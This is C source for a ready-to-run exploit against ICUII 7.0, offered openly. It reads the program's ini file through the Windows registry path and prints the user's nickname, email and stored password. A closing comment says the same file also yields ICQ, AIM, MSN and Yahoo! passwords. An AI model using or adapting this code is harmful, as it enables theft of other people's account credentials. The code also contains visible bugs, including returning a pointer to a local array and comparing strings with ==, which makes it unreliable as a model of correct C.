/*****************************************************************

ICUII 7.0 Local Password Disclosure Exploit by Kozan

Application: ICUII 7.0 (and probably prior versions)
Procuder: Cybration - www.icuii.com
Vulnerable Description: ICUII 7.0 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}

char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

int main()
{
      if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                                      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                      0,
                                      KEY_QUERY_VALUE,
                                      &hKey
                                      ) == ERROR_SUCCESS)
      {
      lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
      if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
      {
              RegCloseKey(hKey);
              printf("An error occured!\n");
              return -1;
      }
      RegCloseKey(hKey);
      }

      strcat(prgfiles,"\\icuii\\icuii.ini");

      if(oku(prgfiles,"NickName=")=="")
      {
              printf("ICUII is not installed on your system!\n");
              return -1;
      }

      printf("ICUII 7.0 Local Password Disclosure Exploit by Kozan\n");
      printf("Credits to ATmaCA\n");
      printf("www.netmagister.com - www.spyinstructors.com\n");
      printf("kozan@netmagister.com\n\n");

      printf("Nickname: %s\n",oku(prgfiles,"NickName="));
      printf("Location: %s\n",oku(prgfiles,"Location="));
      printf("Comment : %s\n",oku(prgfiles,"Comment="));
      printf("E-Mail  : %s\n",oku(prgfiles,"Email="));
      printf("Password: %s\n",oku(prgfiles,"StartingPW="));

      /*
              This example exploit only shows main ICUII passwords.
              You may also get ICQ, AIM, MSN, Yahoo! passwords which are used within ICUII
      */

      return 0;
}